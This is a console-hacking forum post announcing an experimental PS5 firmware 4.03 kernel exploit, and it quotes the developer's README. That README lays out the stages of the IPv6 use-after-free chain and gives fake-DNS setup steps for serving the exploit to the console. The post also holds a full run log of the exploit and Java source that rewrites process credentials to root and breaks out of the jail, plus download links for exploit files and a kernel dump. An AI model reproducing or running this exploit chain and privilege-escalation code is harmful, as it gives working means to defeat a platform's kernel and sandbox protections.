Join Us and become a Member for a Verified Badge to access private areas with the latest PS4 PKGs.
PS5 Jailbreaking       Thread starter PSXHAX       Start date Oct 2, 2022 at 4:01 PM       37      
Status
Not open for further replies.
Since the PS5 IPV6 UAF Kernel Exploit WIP, homebrew developer @SpecterDev announced on Twitter a 4.03 Webkit PS5 Kernel Exploit Implementation and released shortly following via Cryptogenic's Github repository an experimental Webkit-based PS5 4.03 Kernel Exploit for those in the PlayStation 5 Scene to test out! 🥳

⚠️ It's important to note this arbitrary PS5 R/W access is currently geared towards developers as the PS5 Hypervisor (codenamed Hylonome) and VM protections are still present and must be circumvented in order to achieve a full PlayStation 5 Jailbreak (PS5 Jailbreak Status) exploit to run native PlayStation 5 homebrew, PS5 Game Backups, etc.

Download: PS5-4.03-Kernel-Exploit-main.zip / GIT / PS5 4.03 Live Demo via Kameleonre_ / Mirror via canaltecniqueza aka @tecniqueza / PS5 4.03 Playground (If you want rpc/dump server scripts, you need to set it up locally) via EdiTzZMoDz aka @EdiTzZ / ps5-listdir-root.iso (8.0 MB - PS5 rootvnode listdir PoC, lists the ENTIRE filesystem with NO restrictions per notzecoxao aka @zecoxao) via @sleirsgoevy on Twitter / PS5 Research & Development Discord Channel / 403-data_2.bin (135.67 MB - kernel data dump from PS5 - base is 0xffffffff85020000, IDPS and PSID removed for convenience) via notzecoxao / payload.bin (0.05 MB - PS5 fan payload 60ºC max for PS5 bd-jb 4.03) via notzecoxao / ps5-fan-threshold.7z (0.42 MB - Updated PS5 fan payloads including: 20_degrees_celsius_rocket_engine.bin, 30_degrees_celsius_maybe_rocket_engine.bin, 40_degrees_celsius.bin, 50_degrees_celsius.bin and 60_degrees_celsius.bin) via notzecoxao / GIT

From the PS5 Fan Threshold README.md:

Synopsis

Sets the temperature threshold where the fan will kick into turbo (Currently 60 degrees Celsius/140 Fahreneit).

Notes
  • Requires being built with the *** files provided by SpecterDev (currently in development, ubuntu 20.04 and gcc, together with provided source required)
  • Supports any firmware that the *** supports (ranging currently from 3.00 to 4.51)
Credits

Al Azif (Scene-Collective) for original code (maybe also LM, i have no idea who started this first)

LeGend for beta testing

⚠️ Warning: due to the nature of the ***, do not attempt to set the temperature variable as global!

Here's further details from the README.md: PS5 4.03 Kernel Exploit

Summary


This repo contains an experimental WebKit ROP implementation of a PS5 kernel exploit based on TheFlow's IPV6 Use-After-Free (UAF), which was reported on HackerOne. The exploit strategy is for the most part based on TheFlow's BSD/PS4 PoC with some changes to accommodate the annoying PS5 memory layout (for more see Research Notes section). It establishes an arbitrary read / (semi-arbitrary) write primitive. This exploit and its capabilities have a lot of limitations, and as such, it's mostly intended for developers to play with to reverse engineer some parts of the system.

Also note; stability is fairly low, especially compared to PS4 exploits. This is due to the bug's nature of being tied to a race condition as well as the mitigations and memory layout of the PS5. This document will contain research info about the PS5, and this exploit will undergo continued development and improvements as time goes on.

This could possibly work on 4.50 as well via substituting valid 4.50 gadget offsets + kernel slides, but that will be for future work.

Currently Included
  • Obtains arbitrary read/write and can run a basic RPC server for reads/writes (or a dump server for large reads) (must edit your own address/port into the exploit file on lines 673-677)
  • Enables debug settings menu (note: you will have to fully exit settings and go back in to see it).
  • Gets root privileges
Limitations
  • This exploit achieves read/write, but not code execution. This is because we cannot currently dump kernel code for gadgets, as kernel .text pages are marked as eXecute Only Memory (XOM). Attempting to read kernel .text pointers will panic!
  • As per the above + the hypervisor (HV) enforcing kernel write protection, this exploit also cannot install any patches or hooks into kernel space, which means no homebrew-related code for the time being.
  • Clang-based fine-grained Control Flow Integrity (CFI) is present and enforced.
  • Supervisor Mode Access Prevention/Execution (SMAP/SMEP) cannot be disabled, due to the HV.
  • The write primitive is somewhat constrained, as bytes 0x10-0x14 must be zero (or a valid network interface).
  • The exploit's stability is currently poor. More on this below.
  • On successful run, exit the browser with circle button, PS button panics for a currently unknown reason.
How to use
  1. Configure fakedns via dns.conf to point manuals.playstation.net to your PCs IP address
  2. Run fake dns: python fakedns.py -c dns.conf
  3. Run HTTPS server: python host.py
  4. Go into PS5 advanced network settings and set primary DNS to your PCs IP address and leave secondary at 0.0.0.0
    • Sometimes the manual still won't load and a restart is needed, unsure why it's really weird
  5. Go to user manual in settings and accept untrusted certificate prompt, run
  6. Optional: Run rpc/dump server scripts (note: address/port must be substituted in binary form into exploit.js).
Future work
  • Fix-up sockets to exit browser cleanly (top prio)
  • Write some data patches (second prio)
    • Enable debug settings
    • Patch creds for uid0
    • Jailbreak w/ cr_prison overwrite
  • Improve UAF reliability
  • Improve victim socket reliability (third prio)
  • Use a better / more consistent leak target than kqueue
Using RPC and Dumping Kernel .data

RPC

RPC is a very simple and limited setup.
  1. Edit your IP+port (if changed) into exploit.js.
  2. Run the server via python rpcserver.py, allow the PS5 to connect when the exploit finishes. The PS5 will send the kernel .data base address in ASCII and you can then send read and write commands. Example is below.
Code:
[RPC] Connection from: ('10.0.0.169', 59335)
[RPC] Received kernel .data base: 0x0xffffffff88530000
> r 0xffff81ce0334f000
42 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00
> w 0xffff81ce0334f004 0x1337
Wrote qword.
This setup is somewhat jank and a better system will be in place soon.

Dump
  1. Edit your IP+port (if changed) into exploit.js.
  2. Comment the RPC code in exploit.js and uncomment dumper code.
  3. Run the server via python dumpserver.py, allow the PS5 to connect and start dumping when exploit finishes. It will continue to dump data from the kernel base until it panics due to hitting unmapped memory. Note: read is somewhat slow at ~200kbps, so it may take 10 minutes or so to complete.
Exploit Stages

This exploit works in 5 stages, and for the most part follows the same exploit strategy as theflow's poc.
  1. Trigger the initial UAF on ip6_pktopts and get two sockets to point to the same pktopts / overlap (master socket <-> overlap spray socket)
  2. Free the pktopts on the master socket and fake it with an ip6_rthdr spray containing a tagged tclass overlap.
  3. Infoleak step. Use pktopts/rthdr overlap to leak a kqueue from the 0x200 slab and pktopts from the 0x100 slab.
  4. Arbitrary read/write step. Fake pktopts again and find the overlap socket to use IPV6_RTHDR as a read/write primitive.
  5. Cleanup + patch step. Increase refcount on corrupted sockets for successful browser exit + patch data to enable debug menu and patch ucreds for uid0.
Stability Notes

Stability for this exploit is at about 30%, and has multiple potential points of failure. In order of observed descending liklihood:
  1. Stage 1 causes more than one UAF due to failing to catch one or more in the reclaim, causing latent corruption that causes a panic some time later on.
  2. Stage 4 finds the overlap/victim socket, but the pktopts is the same as the master socket's, causing the "read" primitive to just read back the pointer you attempt to read instead of that pointer's contents. This needs some improvement and to be fixed if possible because it's really annoying.
  3. Stage 1's attempt to reclaim the UAF fails and something else steals the pointer, causing immediate panic.
  4. The kqueue leak fails and it fails to find a recognized kernel .data pointer.
  5. Leaving the browser through "unusual" means such as PS button, share button, or browser crash, will panic the kernel. Needs to be investigated.
Research Notes
  • It appears based on various testing and dumping with the read primitive, that the PS5 has reverted back to 0x1000 page size compared to the PS4's 0x4000.
  • It also seems on PS5 that adjacent pages rarely belong to the same slab, as you'll get vastly different data in adjacent pages. Memory layout seems more scattered.
  • Often when the PS5 panics (at least in webkit context), there will be awful audio output as the audio buffer gets corrupted in some way.
  • Sometimes this audio corruption persists to the next boot, unsure why.
  • Similar to PS4, the PS5 will require the power button to be manually pressed on the console twice to restart after a panic.
  • It is normal for the PS5 to take an absurd amount of time to reboot from a panic if it's isolated from the internet (unfortunately). Expect boot to take 3-4 minutes.
Contributors / Special Thanks
Prospero Kernel Exploit Under BDJ:
Code:
[HOST] debugnet listener up
[HOST] ready to have a lot of fun!!!
[PROSPERO][INFO] [+] Logger initialized...
[PROSPERO][INFO] [+] Receive udp log in 192.168.1.12 with: socat udp-recv:18194 stdout
[PROSPERO][INFO] [+] bd-jb by bigboss based on TheFlow, specter and sleirsgoevy implementation
[PROSPERO][INFO] [+] Creating JavaSecurityAccess
[PROSPERO][INFO] [+] Creating fake JavaSecurityProxy
[PROSPERO][INFO] [+] Set fake JavaSecurityProxy
[PROSPERO][INFO] [+] Creating URLClassLoader
[PROSPERO][INFO] [+] Loading Payload
[PROSPERO][INFO] [+] SecurityManager bypass done
[PROSPERO][INFO] [+] Before initUnsafe
[PROSPERO][INFO] [+] get Field theUnsafeField
[PROSPERO][INFO] [+] setAccesible theUnsafeField
[PROSPERO][INFO] [+] get Unsafe
[PROSPERO][INFO] [+] get declared unsafe methods
[PROSPERO][INFO] [+] UnsafeJDKImpl done
[PROSPERO][INFO] [+] Before initDlsym
[PROSPERO][INFO] [+] Before initSymbols
[PROSPERO][INFO] [+] handle 0xfffffffffffffffe dlsym symbol JVM_NativePath address 0x1ab09b8f0
[PROSPERO][INFO] [+] handle 0x2001 dlsym symbol __Ux86_64_setcontext address 0x82c780334
[PROSPERO][INFO] [+] handle 0x4a dlsym symbol Java_java_lang_reflect_Array_multiNewArray address 0x174e48350
[PROSPERO][INFO] [+] handle 0x2 dlsym symbol setjmp address 0x8292269b0
[PROSPERO][INFO] [+] handle 0x2001 dlsym symbol __error address 0x82c7839b0
[PROSPERO][INFO] [+] Before initApiCall
[PROSPERO][INFO] [+] init Api done
[PROSPERO][INFO] [+] handle 0x2001 dlsym symbol sceKernelSendNotificationRequest address 0x82c79bf50
[PROSPERO][INFO] [+] Initializing sockets...
[PROSPERO][INFO] [+] handle 0x2001 dlsym symbol socket address 0x82c780bd0
[PROSPERO][INFO] [+] kevent_sock=32
[PROSPERO][INFO] [+] handle 0x2001 dlsym symbol getsockopt address 0x82c780d70
[PROSPERO][INFO] [+] master_sock=33 tclass=0
[PROSPERO][INFO] [+] handle 0x2001 dlsym symbol kqueue address 0x82c781890
[PROSPERO][INFO] [+] Triggering UAF...
[PROSPERO][INFO] use thread start run
[PROSPERO][INFO] free thread start run
[PROSPERO][INFO] [+] handle 0x2001 dlsym symbol setsockopt address 0x82c780cb0
[PROSPERO][INFO] [+] handle 0x2001 dlsym symbol sceKernelUsleep address 0x82c795ec0
[PROSPERO][INFO] [+] handle 0x2001 dlsym symbol sceKernelUsleep address 0x82c795ec0
[PROSPERO][INFO] get_tclass s=33 val=ffffffff getsockopt return 0
[PROSPERO][INFO] get_tclass s=33 val=41 getsockopt return 0
[PROSPERO][INFO] get_tclass s=33 val=41 getsockopt return 0
[PROSPERO][INFO] use thread end run
[PROSPERO][INFO] free thread end run
[PROSPERO][INFO] get_tclass s=33 val=41 getsockopt return 0
[PROSPERO][INFO] trigger_uaf triggered
[PROSPERO][INFO] after join use thread
[PROSPERO][INFO] after join free thread
[PROSPERO][INFO] get_tclass s=34 val=41 getsockopt return 0
[PROSPERO][INFO] get_tclass s=35 val=41 getsockopt return 0
[PROSPERO][INFO] get_tclass s=36 val=41 getsockopt return 0
[PROSPERO][INFO] get_tclass s=37 val=42 getsockopt return 0
[PROSPERO][INFO] [+] Overlap socket: 0x25 (0x3)
[PROSPERO][INFO] get_tclass s=37 val=42 getsockopt return 0
[PROSPERO][INFO] get_tclass s=33 val=42 getsockopt return 0
[PROSPERO][INFO] [+] after reallocate pktopts
[PROSPERO][INFO] get_tclass s=37 val=42 getsockopt return 0
[PROSPERO][INFO] get_tclass s=33 val=42 getsockopt return 0
[PROSPERO][INFO] [+] before fake_pktopts
[PROSPERO][INFO] size 248 len 30
[PROSPERO][INFO] before tclass
[PROSPERO][INFO] get_tclass s=33 val=13370018 getsockopt return 0
[PROSPERO][INFO] tclass 0x13370018 versus TCLASS_MASTER 0x13370000
[PROSPERO][INFO] [+] after fake_pktopts
[PROSPERO][INFO] [+] Overlap socket: 0x3a (0x18)
[PROSPERO][INFO] size 280 len 34
[PROSPERO][INFO] [+] handle 0x2001 dlsym symbol close address 0x82c78e9b0
[PROSPERO][INFO] [+] kqueue_addr: 0xffffb27030ac8600
[PROSPERO][INFO] size 248 len 30
[PROSPERO][INFO] [+] pktopts_addr: 0xffffb27030aaf300
[PROSPERO][INFO] [+] after leak_kevent_pktopts
[PROSPERO][INFO] size 248 len 30
[PROSPERO][INFO] before tclass
[PROSPERO][INFO] get_tclass s=33 val=13370041 getsockopt return 0
[PROSPERO][INFO] tclass 0x13370041 versus TCLASS_MASTER 0x13370000
[PROSPERO][INFO] [+] after fake_pktopts
[PROSPERO][INFO] [+] Overlap socket: 0x63 (0x41)
[PROSPERO][INFO] [+] Victim socket: 0x2a (0x8)
[PROSPERO][INFO] [+] Arbitrary R/W achieved.
[PROSPERO][INFO] [+] Found kqueue .data address: 0xffffffffd50f8ad3 (found @ i = 0x400)
[PROSPERO][INFO] [+] Found kqueue .data address: 0xffffffffd50f8ad3 (found @ i = 0x800)
[PROSPERO][INFO] [+] Found kqueue .data address: 0xffffffffd50f8ad3 (found @ i = 0xa00)
[PROSPERO][INFO] [+] Found kqueue .data address: 0xffffffffd50f8ad3 (found @ i = 0xc00)
[PROSPERO][INFO] [+] Found kqueue .data address: 0xffffffffd50f8ad3 (found @ i = 0xe00)
[PROSPERO][INFO] [+] handle 0x2001 dlsym symbol getpid address 0x82c7805b0
[PROSPERO][INFO] [+] pid: 76
[PROSPERO][INFO] [+] PID: 0x4c
[PROSPERO][INFO] [+] Found kernel .data base address: 0xffffffffd4de0000
[PROSPERO][INFO] [+] Found allproc: 0xffffffffd75cdcb8
[PROSPERO][INFO] [+] Found proc->p_ucred: 0xffffb2702fb0b600
[PROSPERO][INFO] [+] Found proc->p_fd: 0xffffb26c02016c60
[PROSPERO][INFO] [+] Enabled debug menu
[PROSPERO][INFO] [+] Patched creds
[PROSPERO][INFO] [+] Patching 0xffffb27033c44ff0 from 0x200000001
[PROSPERO][INFO] to 0x200000100
[PROSPERO][INFO] [+] overlap_sock cleaned
[PROSPERO][INFO] [+] Patching 0xffffb26c02460000 from 0x200000001
[PROSPERO][INFO] to 0x200000100
[PROSPERO][INFO] [+] master_sock cleaned
[PROSPERO][INFO] [+] Patching 0xffffb26c6aebaa80 from 0x200000001
[PROSPERO][INFO] to 0x200000100
[PROSPERO][INFO] [+] victim_sock cleaned
[PROSPERO][INFO] [+] handle 0x2001 dlsym symbol getuid address 0x82c780630
[PROSPERO][INFO] [+] uid: 0
[PROSPERO][INFO] [+] Checking, getuid = 0x0
[PROSPERO][INFO] [+] handle 0x2001 dlsym symbol sceKernelSleep address 0x82c795d80
[PROSPERO][INFO] [+] Done.
UNTESTED PS5 Sandbox Escape Code (root/org/homebrew/KernelStuff.java):
Code:
package org.homebrew;

/* offsets are for 4.03 */

public class KernelStuff
{
    private static KernelRW krw = null;
    private static int pipe_r = -1;
    private static int pipe_w = -1;
    private static long kbase = 0;
    private static long curproc = 0;
    private static long rpipe = 0;
    private static long read = 0;
    private static long write = 0;

    private static void init() throws Exception
    {
        if(krw == null)
            krw = MyXlet.krw;
        if(pipe_r < 0)
        {
            long mem8 = NativeUtils.allocateMemory(8);
            NativeStuff.callFunction(NativeUtils.dlsym(0x2001, "pipe"), mem8, 0, 0, 0, 0, 0);
            pipe_r = NativeUtils.getInt(mem8);
            pipe_w = NativeUtils.getInt(mem8+4);
            NativeUtils.freeMemory(mem8);
        }
        if(kbase == 0)
            kbase = krw.kread8(krw.kqueue_addr) - 0x318ad3;
        if(curproc == 0)
            curproc = pfind0((int)NativeStuff.callFunction(NativeUtils.dlsym(0x2001, "getpid"), 0, 0, 0, 0, 0, 0));
        if(rpipe == 0)
        {
            long fd = krw.kread8(curproc+0x48);
            long ofiles = krw.kread8(fd);
            long pipe_file = krw.kread8(ofiles+8+48*pipe_r);
            rpipe = krw.kread8(pipe_file);
        }
        if(read == 0)
            read = NativeUtils.dlsym(0x2001, "read");
        if(write == 0)
            write = NativeUtils.dlsym(0x2001, "write");
    }

    private static long pfind0(int pid0) throws Exception
    {
        for(long proc = krw.kread8(kbase+0x27edcb8); proc != 0; proc = krw.kread8(proc))
        {
            int pid = (int)(krw.kread8(proc+0xbc) & 0xffffffffl);
            if(pid == pid0)
                return proc;
        }
        return 0;
    }

    public static long pfind(int pid0) throws Exception
    {
        init();
        return pfind0(pid0);
    }

    public static int copyout(long dst, long src, int count) throws Exception
    {
        init();
        krw.kwrite20(rpipe, 0x4000000040000000l, 0x4000000000000000l, 0);
        krw.kwrite20(rpipe+16, src, 0, 0);
        return (int)NativeStuff.callFunction(read, pipe_r, dst, count, 0, 0, 0);
    }

    public static int copyin(long dst, long src, int count) throws Exception
    {
        init();
        krw.kwrite20(rpipe, 0, 0x4000000000000000l, 0);
        krw.kwrite20(rpipe+16, dst, 0, 0);
        return (int)NativeStuff.callFunction(write, pipe_w, src, count, 0, 0, 0);
    }

    public static void jailbreak(long authid) throws Exception
    {
        init();
        long cred = krw.kread8(curproc+0x40);
        long mem = NativeUtils.allocateMemory(0x70);
        copyout(mem, cred, 0x70);
        NativeUtils.putInt(cred+4, 0); //cr_uid
        NativeUtils.putInt(cred+8, 0); //cr_ruid
        NativeUtils.putInt(cred+12, 0); //cr_svuid
        NativeUtils.putInt(cred+20, 0); //cr_rgid
        NativeUtils.putInt(cred+24, 0); //cr_svgid
        NativeUtils.putLong(cred+88, authid);
        NativeUtils.putLong(cred+96, -1);
        NativeUtils.putLong(cred+104, -1);
        copyin(cred, mem, 0x70);
        long fd = krw.kread8(curproc+0x48);
        long pid1 = pfind0(1);
        long fd1 = krw.kread8(pid1+0x48);
        copyout(mem, fd1+8, 24);
        copyin(fd+8, mem, 24);
        NativeUtils.freeMemory(mem);
    }

    public static void jailbreak() throws Exception
    {
        jailbreak(0x4801000000000013l);
    }
}

:arrow: Related Tweets

Create a PS5 / PC Local Server (Kernel Exploit 4.03) Tutorial
PS5 4.03 Kernel Exploit WebKit ROP Implementation via SpecterDev!.png
 

Comments

I legit get so giddy over this stuff lol. Absolutely insane. The amount of energy, resources, and time (more importantly), etc that these guys give is immeasurable. What a ridiculously huge accomplishment.
 
Status
Not open for further replies.
Back
Top